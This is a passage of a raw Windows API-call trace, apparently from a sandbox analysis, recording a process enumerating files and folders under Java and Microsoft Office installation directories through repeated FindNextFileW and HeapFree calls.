dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0065.459] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.459] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0065.462] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.462] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0065.463] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0065.463] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0065.463] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0065.465] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd08c5d00, ftCreationTime.dwHighDateTime=0x1d566f8, ftLastAccessTime.dwLowDateTime=0xdc6ec450, ftLastAccessTime.dwHighDateTime=0x1d554dd, ftLastWriteTime.dwLowDateTime=0xdc6ec450, ftLastWriteTime.dwHighDateTime=0x1d554dd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0065.465] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0065.466] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c9157b4, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c9157b4, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0065.467] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.467] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0065.471] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.472] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0065.968] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0065.968] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0067.791] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0067.922] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0067.929] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0067.929] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0067.929] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0067.929] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0067.929] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0067.929] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0067.929] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0067.930] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0068.023] HeapFree (hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd7a50) [0068.023] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd7a50 | out: hHeap=0x490000) returned 1 [0068.023] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0068.060] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd7a50 | out: hHeap=0x490000) returned 1 [0068.060] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0068.123] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0068.124] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0068.124] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba80 | out: hHeap=0x490000) returned 1 [0068.124] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0068.136] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0068.136] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0068.139] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0068.139] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0068.321] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0068.321] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0071.146] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0071.146] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0071.147] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0071.147] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0071.153] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0071.153] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0071.154] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0071.154] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0071.154] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0071.154] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0071.158] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0071.158] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0071.159] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0071.159] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0071.159] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0071.163] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0071.163] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0071.167] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0071.167] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0072.054] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0072.054] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0072.057] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0072.057] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0072.059] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8ba88 | out: hHeap=0x490000) returned 1 [0072.059] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0072.070] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0072.070] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0072.071] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0072.071] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0072.071] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0072.071] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0072.072] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0072.074] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0072.074] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0072.082] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.082] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0072.085] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.144] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0072.458] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0072.458] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, 